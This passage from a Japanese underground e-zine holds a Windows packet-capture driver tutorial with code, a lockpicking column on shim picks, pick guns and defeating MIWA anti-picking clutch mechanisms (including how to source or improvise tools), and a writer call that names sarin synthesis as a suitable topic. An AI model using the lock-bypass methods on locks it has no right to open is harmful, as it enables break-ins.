http://msdn.microsoft.com/library/default.asp?url=/library/en-us/NetXP_r/hh/NetXP_r/fltrref_16b29dd7-dd36-4f22-a828-24a6820dfeb3.xml.asp ■0x03.) Filter-Hook Driver  突然「Filter-Hook Driverを利用します」といわれてもワケが分からないので、 まずは、この関数をみてください。詳細は後ほど説明しますので、とりあえずは この関数についての説明を行います。 ----- PacketFilterExtensionPtr関数 typedef PF_FORWARD_ACTION (*PacketFilterExtensionPtr)( IN unsigned char *PacketHeader, // IPヘッダのアドレス IN unsigned char *Packet, // IPよりひとつ上位のヘッダのアドレス IN unsigned int PacketLength, // Packetのサイズ(バイト単位) IN unsigned int RecvInterfaceIndex, // NICがこの受信パケットを取得した順番数 IN unsigned int SendInterfaceIndex, // NICがこの送信パケットを取得した順番数 IN IPAddr RecvLinkNextHop, // パケットを受信したNICのアドレス IN IPAddr SendLinkNextHop // パケットを送信したNICのアドレス ); -----  PacketHeaderは取得したIPヘッダのアドレスです。PacketはIPよりひとつ上位 にあるプロトコルデータ(TCPやUDPなど)のアドレスです。PacketLengthはPack etのサイズです(バイト単位)。そして戻り値のPF_FORWARD_ACTIONですが、これ は以下のいずれかの値を持ちます。 ・PF_FORWARD パケットを次のドライバへ渡します(通過)。 ・PF_DROP パケットを次のドライバへ渡しません(破棄)。 ・PF_PASS パケットを処理しない場合にこれを返します。  私が翻訳した限りの情報ですので、ところどころ間違ってそうですが、もし間 違っていたらメール(kenji@ruffnex.oc.to)ください(^^;。  とりあえず、PacketFilterExtensionPtr関数というものがどういうものかをわ かってもらえたでしょうか。みての通り、NICに流れるパケットをIPレベル以上で 取得することが可能です。  それで、この関数をipfltdrv.sysというドライバにセットします。私の環境で は、「C:\windows\system32\DRIVERS\ipfltdrv.sys」にあります。このドライバ にPacketFilterExtensionPtr関数をセットすることでNICを流れるパケットを取得 することができます。  しかし、残念ながらipfltdrv.sysはWindowsXPではデフォルトで動作していませ ん。レジストリを見てもそれが分かります。「HKLM\SYSMTEM\CurrentControlSet \Services\IpFilterDriver」に設定されていますが、デフォルトではスタート状 態になっていません。なので、まずは、このドライバをスタートさせる必要があ ります。 ■0x04.) フィルタリングの流れ  最初にipfltdrv.sysドライバをスタートさせます。これは通常のドライバ起動 と同様にサービスマネージャを使うことで可能です。そして、次にこちら側が用 意したDrvHookIp.sysドライバを同じくサービスマネージャを使ってスタートさせ ます。このDrvHookIp.sysドライバは、パケットをフックさせるために、ipfltdr v.sysドライバへPacketFilterExtensionPtr関数をセットします。あとは、DrvHo okIp.sysドライバをアプリケーションプログラムから管理することでフィルタリ ングやパケットキャプチャを行うことができます。 ----- +--------------+ +--------------+ | | | ipfltdrv.sys | ------------------> | OS | +--------------+ OSへインストール | | +--------------+ +--------------+ | ipfltdrv.sys | +--------------+ +---------------+ | | | DrvHookIp.sys | -----------------> | OS | +---------------+ OSへインストール | | +--------------+ +--------------+ | ipfltdrv.sys | +---------------+ +---------------+ | User Mode App | ----------------> | DrvHookIp.sys | +---------------+ 定期的にアクセス +---------------+ | | | OS | | | +--------------+ -----  ドライバをOSへインストールさせる処理はすべてユーザーモードのプログラム が行います。つまり、この流れはユーザーモードプログラムからの視点といえま す。  これをプログラムにしたのが以下です。 http://ruffnex.oc.to/kenji/windriver/packet/DrvHookIpTest.cpp  コンソールアプリケーションとなっており、main関数を追っていくと上記の処 理が行われているのがわかります。また、処理が終わるとドライバはOSから取り 外さなければならないので、OSからのアンインストール処理も追加しています。  パケットの取得と表示を行っている部分は以下のコードです。 ----- DrvHookIpTest.cpp unsigned char szBuffer[8192]; while( ! (GetAsyncKeyState(_T('Z')) & 0x0001)){ szBuffer[0] = 0xFF; DWORD dwReturn; DeviceIoControl(hFile, IOCTL_ID_BUFFIO, szBuffer, sizeof(szBuffer), szBuffer, sizeof(szBuffer), &dwReturn, NULL); if(szBuffer[0] == 0xFF){ Sleep(1000); continue; } for(DWORD i=0; i < dwReturn; i++){ printf(_T("%02x "), szBuffer[i]); if(((i + 1) % 16) == 0) printf(_T("\n")); } printf(_T("\n\n")); } -----  GetAsyncKeyState関数でキーボードを監視し、zキーが押されたら終了します。 また、最初に代入している0xFFという値は識別子の役割を果たします。szBuffer にはIPヘッダが格納されますが、万が一にもIPヘッダの1バイト目が0xFFになるこ とはありえません(大抵0x45となる)。よって、ドライバへアクセスした後もこ の1バイト目が0xFFならば、ネットワークパケットを受けとっていないと判断し、 1秒のウェイトをかけて再度取得を取得を試みます。 ■0x05.) パケットフィルタドライバ  さて、これまで何度か出てきたDrvHookIp.sysドライバのコードは以下になりま す。 http://ruffnex.oc.to/kenji/windriver/packet/DrvHookIp.cpp  DriverEntry関数はドライバのインストール時に実行されます。基本的に初期化 しか行っていません。UnloadFunction関数も同様にお決まりの処理しか行ってい ません。  CreateFunction関数はドライバがオープンされた時に呼ばれ、フィルタ関数の セットを行ってます。つまり、ユーザープログラムのCreateFile関数が実行され た直後から、ドライバはパケットの受信を行うことになります。そして、CloseF unction関数にてフィルタ関数を解除するので、CloseHandle関数が呼び出された らパケット受信を終えるというわけです。  SetFilterFunction関数はフィルタ関数のセットを行う関数です。DD_IPFLTRDR VR_DEVICE_NAMEはipfltdrv.sysを意味します。そしてPacketFilterFunction関数 はセットされるフィルタ関数です。見て通り、パケットデータを取得したらすぐ さまGetPacketDataへ渡しています。  ドライバの主な処理は、パケットの取得と保持、そしてユーザープログラムと の会話部分です。パケットの取得と保持についてはPACKETDATA構造体を使ってい ます。 ----- PACKETDATA構造体 typedef struct _PacketData { unsigned char *pBuffer; // パケットデータのポインタ int pBufferSize; // パケットデータのサイズ struct _PacketData *next; // 次のパケットデータのポインタ } PACKETDATA, *PPACKETDATA; PPACKETDATA g_first_ppd = NULL; // 一番古いパケットデータ PPACKETDATA g_last_ppd = NULL; // 一番新しいパケットデータ -----  パケットを取得するタイミングと、ユーザープログラムからアクセスがあるタ イミングは必ずしも同じではないため、一定時間ドライバ側でデータを保持して おく必要があります。そのため、DrvHookIp.cppではチェーン式にデータを連結す るアルゴリズムを使いました。  仮に10個のパケットを保持していると考えます。すると、一番最初に取得した パケット(古い)のアドレスをg_first_ppdに、そして一番最後に取得したパケッ ト(新しい)のアドレスをg_last_ppdに入れておきます。この状態でユーザーか らのアクセスがあった場合、一番最初に取得した、一番古いパケットを渡す必要 がありますので、g_first_ppdが指すデータを渡します。そして、渡し終えたパケ ットのメモリ領域は開放し、g_first_ppdはその次の2番目に取得したパケットの アドレスに更新します。  また、この状態で、新しい11番目のパケットを取得した場合、新しくPACKETDA TA構造体サイズのメモリを割り当て、そのアドレスをg_last_ppd->nextに入れま す。そして、g_last_ppdを新しく割り当てたPACKETDATA構造体のアドレスに更新 します。  こうすることによって、流れるパケットとユーザープログラムからのアクセス の両方に対応することができます。それらを行っているのが以下の関数です。 ----- DrvHookIp.cpp PPACKETDATA GetPacketData(unsigned char *pHeader, unsigned char *pBuffer, int pBufferSize) { // 構造体メモリ確保 PPACKETDATA ppd = (PPACKETDATA)ExAllocatePool( NonPagedPool, sizeof(PACKETDATA)); if(ppd == NULL) return NULL; // バッファメモリ確保 ppd->pBuffer = (unsigned char *)ExAllocatePool( NonPagedPool, IP_HEADER_SIZE + pBufferSize); if(ppd->pBuffer == NULL){ ExFreePool(ppd); return NULL; } // 構造体作成(1パケット) RtlCopyMemory(ppd->pBuffer, pHeader, IP_HEADER_SIZE); RtlCopyMemory(ppd->pBuffer + IP_HEADER_SIZE, pBuffer, pBufferSize); ppd->pBufferSize = (IP_HEADER_SIZE + pBufferSize); // 取得データをマスク for(int i=0; i < ppd->pBufferSize; i++) ppd->pBuffer[i] = ppd->pBuffer[i] & 0xff; // パケット情報の関係を更新 if(g_last_ppd == NULL) g_first_ppd = ppd; else g_last_ppd->next = ppd; ppd->next = NULL; g_last_ppd = ppd; return ppd; } int PutPacketData(unsigned char *pOutputBuffer, int pOutputBufferSize) { if(g_first_ppd == NULL) return 0; // バッファサイズを確認してコピー if(g_first_ppd->pBufferSize > pOutputBufferSize){ MyDbgPrint("pOutputBufferSize is small.\r\n"); }else{ RtlCopyMemory(pOutputBuffer, g_first_ppd->pBuffer, g_first_ppd->pBufferSize); } // 戻り値retにコピーしたデータのサイズを代入 int ret = g_first_ppd->pBufferSize; // 出力したデータを開放 PPACKETDATA ppd = g_first_ppd->next; ExFreePool(g_first_ppd->pBuffer); ExFreePool(g_first_ppd); g_first_ppd = ppd; if(g_first_ppd == NULL) g_last_ppd = NULL; return ret; } VOID FreePacketData(VOID) { while(g_first_ppd != NULL){ PPACKETDATA ppd = g_first_ppd->next; ExFreePool(g_first_ppd->pBuffer); ExFreePool(g_first_ppd); g_first_ppd = ppd; } g_last_ppd = NULL; } -----  GetPacketData関数は受信したパケットデータを格納するメモリ領域を確保しま す。この関数は、フィルタリング関数であるPacketFilterFunctionから呼び出さ れています。逆にPutPacketData関数はユーザープログラムの相手をしますのでI oControlFunction関数から呼び出されています。ユーザープログラムからアクセ スがあったら、データを渡し、メモリを開放します。  FreePacketDataは、現在保持しているすべてのパケットデータを開放する関数 です。これはドライバがクローズされるときに呼び出します。終了時によけいな メモリを確保したままだと行儀が悪いので、このような関数を用意しています。 ■0x06.) 実行結果  実行結果は以下のようになります。 ----- コマンドプロンプト C:\wb23>DrvHookIpTest Install c:\windows\system32\DRIVERS\ipfltdrv.sys...OK Install C:\wb23\DrvHookIp.sys...OK CreateFile \\.\DrvHookIp...OK Packet Capture Start! 45 00 00 29 44 a7 40 00 80 06 00 00 7f 00 00 01 7f 00 00 01 04 18 04 19 ae 25 05 72 2f dc a9 2a 50 18 44 70 a0 89 00 00 45 00 00 29 44 a7 40 00 80 06 b8 25 7f 00 00 01 7f 00 00 01 04 18 04 19 ae 25 05 72 2f dc a9 2a 50 18 44 70 a0 89 00 00 38 45 00 00 28 44 a8 40 00 80 06 00 00 7f 00 00 01 7f 00 00 01 04 19 04 18 2f dc a9 2a ae 25 05 73 50 10 41 ce db 33 00 00 Packet Capture Stop! Uninstall C:\wb23\DrvHookIp.sys...OK Uninstall c:\windows\system32\DRIVERS\ipfltdrv.sys...OK (ここで、zキー入力) C:\wb23>z -----  ドライバを通じて、ユーザープログラム側でパケットを処理しています。 ■0x07.) さいごに  さて、いかがだったでしょうか。デバイスドライバを組めば、パケットフィル タリングやパケットキャプチャといった低レベルなことが簡単に実現できます。 これはとても面白いことだと思います。さらにデバイスドライバはリアルモード で動作するため、メモリ空間上のあらゆる場所を書き換えることができます。DD Kを入手するのは多少メンドクサイところですが、それだけ価値ある発見があると 思います。これを機会にぜひともデバイスドライバプログラミングを体験してみ てはいかがでしょうか。  さて、最後になりましたが、ここまで読んでくれて本当にありがとうございま す。  では、また会う日まで... x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x --- 第8章: ピッキングの雑学 その1 --- 著者:IPUSIRON x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ■0x01.) はじめに  今年の10月ぐらいからピッキング熱が再び上昇してきたので、今回のWBの記事 はピッキングネタになりました。  元々ピッキングネタは地道に講座に更新していたり、『ソーシャル娘。萌絵ち ゃんのスパイ大作戦』(データハウス刊)(※1)にも南京錠の解錠方法を書いて いたりしましたが、一段楽してピッキングへの情熱が冷めていました。ところが 今回再び大きな情熱が湧いてきましたので、いっそのこと熱が冷める前に特別講 座<ピッキング編>(※2)を可能な限り完成に近づけたいと思っています。  講座をA4印刷すると170ページを超えるという大容量になっていますが(1HTML ファイルにそれだけを詰め込むのが根本的に無謀…)、それでもまだ講座は不完 全な状態といえます。そこで、私も可能な限り情報を集めています。『ハッカー の教科書・完全版』の印税の多くをピッキング情報の収集に回しています。その ため生活にちょっと支障が出始めています(苦笑)。具体的にいえば、海外サイ トや海外フォーラムのチェック、ヤフオクでの有料情報の購入、実機を購入して 手探りでの調査などを行っています。また、大枚叩いて鍵スクールにも通う予定 です(その結果が良い悪い関係なく、通った者だけがかける記事があると思いま すので)。それでも個人だけでの情報の収集には限界があります。そこで、広く 皆さんから情報の提供を募集しています。気軽に質問スレッドの「総合ピッキン グスレ」(※3)に書き込んでもらえると助かります。  ある程度情報が集まり、体系化されたならば、ピッキング関係の本の執筆にも 挑戦したいです(WBを読んでくれた人だけへの秘密)。『ピッキングの教科書』 とか『ピッキング大全』とかどうでしょうか(笑)。また、アカデメイア用のピ ッキング教則DVDもいずれ作ってみたいものですね。 【注釈】 (※1)http://www.amazon.co.jp/exec/obidos/ASIN/4887187971/securityakade-22 実機を購入し、実際に手で触り、アタッカーの視点に立つことで、新しいネタや アイデアを手に入れるという一種のスタイルが確立しつつあります。調べ上げて 書くというスタイルの実機バージョンですね。実際、この本はそうしたスタイル で書かれた本です。例えば、この本で取り上げた実機ですが、ハンディ受信機IC OM IC-R20は50k超、無線LANジャマーは70kぐらい、携帯ジャマーは7k〜20k、ハー ドウェア型キーロガーは10k前後と結構お金かかっています…。他にも講座のため に購入した実機(他人から見たらガラクタ)もたくさんあります。まだ自分の能 力が追いついていないため、講座に完全に反映させることができない機器が大半 です。こうして本のネタになった実機は珍しい方です。緑の公衆電話、カードリ ーダー・ライター系もまだまだ講座にうまく反映できていません。この問題を解 決するために、電子回路の学習に繋がったわけです(今は電子回路の熱が冷めて しまいましたが…多分またその熱が上がるはず)。 (※2)http://akademeia.info/main/lecture3/tokubetu_picking.htm この前サーバーのアクセスログを解析した結果、ピッキングの講座はアカデメイ ア内の講座の中で3番目のアクセス数であることがわかりました。正直ピッキング に興味がある人がこれほど多いとは意外でした。この辺りの話は日記で触れてい ます。 http://d.hatena.ne.jp/ipusiron/20051103 (※3)http://ruffnex.oc.to/ipusiron/cgi/forum/patio.cgi?mode=view&no=589 日本一のピッキング情報について語られている掲示板を目指せ。最終的にはlock pick101(海外サイト)を超えたいです。  それでは、ピッキングや鍵開けに関する小ネタを紹介していきたいと思います。  講座のために欲しい情報の募集ができるのもWebマガジンのよいところですね。 雑誌ならギリギリできても、本だとこれができませんから。 ■0x02.) 潤滑剤について  錠の鍵穴に吹きかけて、鍵の開け閉めがスムーズにする潤滑油スプレーが存在 します。普通の機械油を使ってしまうと、油のためにゴミやほこりが付きやすく なってしまい、逆にピンの動きが鈍ってしまうので、鍵専用の潤滑油でなけれな なりません。  こうした潤滑油は、ピンが詰まってうまくピッキングできないときや、本気モ ードでピッキングをしたいときに使うとよいでしょう。  実は、2B〜4Bぐらいの鉛筆の芯を削って粉末状にしたものでも代用できてしま います。鍵穴に入れて数回鍵を抜き差しすればよいのです。 ■0x03.) Shimピック  Shimピックは、南京錠のU字型と本体の間の隙間に挿入する金属のことです。こ れを挿入することによって、強制的にラッチを解除して、南京錠を開けてしまう のです。使い方は簡単で、単にU字のロックされる側の隙間に差し込んで、上から 力を入れればよいだけです。場合によっては、180度回転させる必要もあります。 hackaday.comの動画を見てもらったほうが早いでしょう。 http://akademeia.info/main/douga/x04d_masterlock.avi  HPC製の「PSA-20」は、Shimピックが20ピース入ったセットです。実売価格30ド ル前後。高いところでは、40ドル近くで売っているところもあるので注意してく ださい。最安値では18.50ドルを見たことがあります。  また、空き缶からShimピックを自作してしまう記事をi-hacked.comで発見しま した。 http://www.i-hacked.com/content/view/189/48/  しかし、このShimピックで開く日本の南京錠が見つからないのです…。100円シ ョップ、shop 99、東急ハンズなどの南京錠を買い漁りましたが(東急ハンズで売 られている南京錠は全部は買っていない)、今のところひとつも見つかっていま せん。開く錠がなければ、アカデメイアオリジナルの動画を作ることもできませ んね。  ちなみに、日本で売ってるダイヤル合わせ錠(南京錠にダイヤルが付いている タイプ)でも開きませんでした。hackaday.comの動画ではダイヤル合わせ錠で開 いているのですが…。  私の推測では南京錠のラッチ構造の問題だと思っています。一種のデッドボル トのようなものがあれば、Shimピックでは開くはずがないですから…。となると 古い南京錠でなければならないかもしれません。この辺の情報を知っている方が いましたら、教えてください。 ■0x04.) ピックガン神話  ピックガンは、銃の形をしているピックの代わりになるピッキングツールのこ とです。引き金を引くと、先端の棒部分が上下に機械的な振動をして、ピンに衝 撃を与え、瞬間的にシアライン上にピンがない常態を作りあげます。このとき、 鍵穴にテンションをかければ、内筒を回して開錠できてしまうのです。  一見、ピックガンは夢のような工具のように見えるかもしれませんが、ピッキ ングツールでのピッキングに慣れていないと、ピックガンを使ってもなかなか開 きません。本当は1回で揃えるものなので何度もカチカチ引き金を引く必要ありま せん。何度もカチカチしなければならないということは、ピックガンがうまく使 えていない証拠といえます。海外の動画にはピックガンの紹介をしているシーン がありますが、うまく開かないで何度もカチカチしている場面がよくあります( 苦笑)。  ピックガンを使った動画(アカデメイアオリジナル)を紹介します。実は本来 先端の棒を逆に接続しなければなりませんが、ピッキング練習の土台の下の部分 が邪魔で仕方なく逆に取り付けています。そのため、解錠にてこずっているので す。 http://akademeia.info/main/douga/akademeia_picking3.AVI  よって、鍵の原理を理解し、一番基本となるピックとテンションによる解錠方 法について熟知しておかなければならないわけです。こうして考えるとピックガ ンはコレクターのためのアイテムと考えてもよいでしょう。  レールピックを用いて普通にピッキングしている動画(アカデメイアオリジナ ル)を紹介しておきます。 http://akademeia.info/main/douga/akademeia_picking2.AVI  ところで、電動ピックガンというピックガンの先端の機械的振動を電気的に作 り出すピッキングツールがありますが、これは手動のピックガンと比べて扱いや すいです。しかし、音が半端じゃないほどうるさいです。  電動ピックガンを使った動画(アカデメイアオリジナル)も紹介しておきまし ょう。明らかに普通のピックガンよりうまく働いていることが一目瞭然ですね。 なお、この電動ピックガンは「High Output Battery Pick」という一番普及して いるタイプです。実売価格120ドル前後。値段は安い部類に入ります。 http://akademeia.info/main/douga/akademeia_picking4.AVI ■0x05.) クラッチ機構とクラッチ回し  玄関錠、中型または大型の錠前だと、クラッチという機構が組み込まれている ことがあります。特に、ディスクタンブラー錠の中にはクラッチ機構が設けられ ていることが多いです。この形状の鍵は内筒と一緒にクラッチも回さないと開錠 することができません。クラッチも一緒に回さないと内筒だけ回転して、ドアが 開かないのです。  ピッキングがうまくいって、シアラインが揃って、内筒が回転させても開かな い錠があります。これは、このクラッチ機構でうまく内部カムに働いていないと いえるのです。このとき利用する道具が、クラッチ回しです。クラッチの構造を 知っていればわかるのですが、フックピックを大きくしたようなものであったり、 棒にブランクキーの先端だけ(クラッチにひっかかる部分)を取り付けたもので あったりします。  クラッチ回しを入れる際にテンションはかけたままにしておきます。というの もトップピンが落ちる可能性があるからです(鍵によってまちまち)。使い方は、 内筒が回る状態になったら、クラッチ回しをキーウェイに挿入して、クラッチに ひっかけて鍵を回す方向に回します。クラッチを回そうとするとかなりの重さを 感じるはずです。  一番の問題はクラッチ回しの入手方法です。かつてはピッキングツールは日本 のショップでも身分証明書があれば買うことができましたが、現在は一般の人が 日本でピッキングツールを購入できるショップのWebサイトは皆無といっていい状 態です。海外ショップに頼るという手もありますが、元々クラッチ機構は日本の MIWA錠にあるピッキング対策の仕組みなので、海外にクラッチ回し単独では売ら れていないのです(少なくとも私は発見できませんでした)。そうすると、鍵師 という肩書きを持って特別な方法で入手するか、自作してしまうという方法が考 えられます。自作ネタは随時募集しているので、「総合ピッキングスレ」に投稿 してもらえると嬉しいです(※1)。  ここでは、裏ワザを紹介します。海外ショップでもショットドライバーは売ら れています。このショットドライバーとは、内筒に強烈な回転力を加えるための ツールであり、クラッチ回しとは異なるのですが、DINOショットドライバーには 日本のMIWA社製専用のクラッチ回しとして働くガンニードルが1本付属しているの です。つまり、DINOショットドライバーがあれば、クラッチ回し版のピックガン として使えるわけです。でも、高いです…。 【注釈】 (※1)ブランクキーを利用して自作する方へ。ブランクキーは東急ハンズなどで 鍵番号さえ伝えれば購入できます。 ■0x06.) ユニバーサルテンション  ユニバーサルテンション(俗にドラゴンテンション、または単にドラゴンと呼ぶ らしい)は、あらゆる錠に対応したテンションです。画像を見てみるとわかります が、タイガーデュアルテンションレンチ(講座のマニア用のセットのC)やロード ランナーリムテンションレンチ(講座のマニア用のセットのF)の進化版といえる でしょう。 http://akademeia.info/main/image8/doragon1.jpg  これひとつで、6つの異なるテンションとして使用できるそうです。 ・チューブラー錠(大きいリムシリンダー錠、Aceリムシリンダー錠、Gemリムシ リンダー錠) ・ダブルディスクタンブラー錠 ・標準的なピンタンブラー錠 ・オートロック  コレクターの私としては(アカデメイアのためにも)、このユニバーサルテン ションが欲しくて欲しくてたまりません。海外サイトで情報を探したり、画像を 探したりしましたが、見つかりませんでした。もちろんショップでも見つかって いません。  これに関して情報を知っている人がいましたら、「総合ピッキングスレ」に投 稿してもらえると嬉しいです。やはり自作しか残されていないのでしょうか…。 ■0x07.) さいごに  アカデメイアでは、情報の出し惜しみなどせず訪問してくれた人たちにすべて 提供するという信条の元で構築されています。今後、本や動画(VHSビデオやDVD) で入手した情報は講座に還元していく予定です。お楽しみに。 x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x --- 第9章:お知らせ --- x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ○Wizard Bible(http://akademeia.info/wizardbible/)では随時、執筆ライタ ーを募集しています。  扱う内容のテーマは広義での「under ground」です。例えば、ハッキングから サリンガスの合成法などと幅広い内容を考えています。また、各種、特殊な職業 や趣味を持った方のレクチャーなども含まれます。  一回きりでも構いません。また、必ず、毎回連載する義務もありませんのでで きる範囲で構いません。気軽に声をかけてください。もちろん一回書いたことが ある人も気軽に声をかけてください(全く気にしていない性格なので)。 ○Kenji AikoさんがQ&Aを作ってくれました。初めて参加する人でもわかりやすく 書かれていますので、参考にしてください。 http://akademeia.info/wizardbible/wbQandA.html ○支援者、参加希望者用のスレッドを立てました。 http://ruffnex.oc.to/ipusiron/cgi/forum/patio.cgi?mode=view&no=17 x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ---- 第10章:著者プロフィール --- x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ■suma ●Job: Student ●Web: http://beautiful.homelinux.net/~sky-software/ ●Mail: shu_2001jp@yahoo.co.jp ●Team(Group): secret ●Comment:  初めての投稿です。楽しんで頂けたでしょうか。  一部解説が抜けたり、ツールが作れていなかったりと不備があってすいません。 ネタがあれば次回も参加させて頂きたいと思います。 ■金床 ●Job: プログラマー ●Web: http://guardian.jumperz.net/、http://www.jumperz.net/ ●Mail: anvil@jumperz.net ■marodc ●Job:Student ●Web:http://mrdc.169.xrea.com/ ●Mail:mr00dc@gmail.com ●Team(Group):n/a ●Comment:  marodc(にかいめ)です。拙著のご感想はいかがだったでしょうか。今回は1ヶ 月煮詰めてましたが、煮詰めすぎて消化不良になった感がありますね(苦笑)。 ともあれ、こういうネタは書いていて何となく楽しいので、また今後も何かしら 書いていこうと思います。  さてWinMX.comが停止したそうですね。もうわれずとはここ2,3年離れているの ですが、WinMXはいまだに感慨深いというか、思い出のソフトウェアのひとつです。 停止を聞き、winmx.comにアクセスして"no longer available"の表示を見たとき には思わず涙しそうになりました(BGM「悲しくてやりきれない」)。最近はウン グラも元気が無くて…1日ぐらい不正アクセス禁止法が適用されない日があっても いいですね(笑い…ごとじゃないか)。 ■Will ●Job:Student ●Web:http://will.wbjapan.com/ ●Mail:will_net@hotmail.co.jp ●Team(Group): Anti-WMAC ■Taka John Brunkhorst ●Job: Commercial Aviation Pilot ●Mail: antiwmac[at]gmail[dot]com ●Web: http://www.antiwmac.com/、http://www.overclock.ch/crew/antiwmac/、etc ●Team: Anti-WMAC, Endorphine Coding Crew, etc ●Comment: 2.6.14.* kicksass! ■Narusase ●Job: Student ●Web: (裏)雑学の博物館(http://k-o-m.hp.infoseek.co.jp/) ●Mail: narusase@mcn.ne.jp ●Team(Group): N/A ●Comment:  こんにちわ、Narusase(ナルサス)です。 最近、なんかまた追いつめられはじめちゃいました(汗。  今月はちょっと九州まで行って来ました。そんでもって、100年ぶり?の新設の 国立博物館らしい九州国立博物館と太宰府天満宮へ…。  後、長浜ラーメンをちょっと食べてきました。ま、チャーシューは美味しかっ たですけど、思ったより味が薄い感じがしました。  サイトの方はまあ、ヘタレな文章と、未熟な技術、ヘボいプログラムを紹介す るサイトということで、暇があったらあら探しでもしてみてください。誤植とか ミスとかはBBSにでも書いてくだされば、こっそり修正しときます(笑。 ■Kenji Aiko ●Job: Student ●Web: http://ruffnex.oc.to/kenji/ ●Mail: kenji@ruffnex.oc.to ●Team(Group): N/A ●Comment:  スーパーマリオブラザーズ2にハマッてます。とりあえずノーコンテニューで 全面クリアしたので、今度は一度も死なずに全面クリアを目指します。 ■IPUSIRON ●Job:サイト更新 ●Web:http://akademeia.info/ ●Mail:ipusiron@ruffnex.oc.to ●Team(Group): ruffnex,backsection ●Comment:  最近は、資格・ピッキングに力を入れています。資格の方は1ヶ月にひとつずつ 確実に取得していきたいと思っています。来春の「テクニカルエンジニア(セキ ュリティ)」の試験が楽しみですね。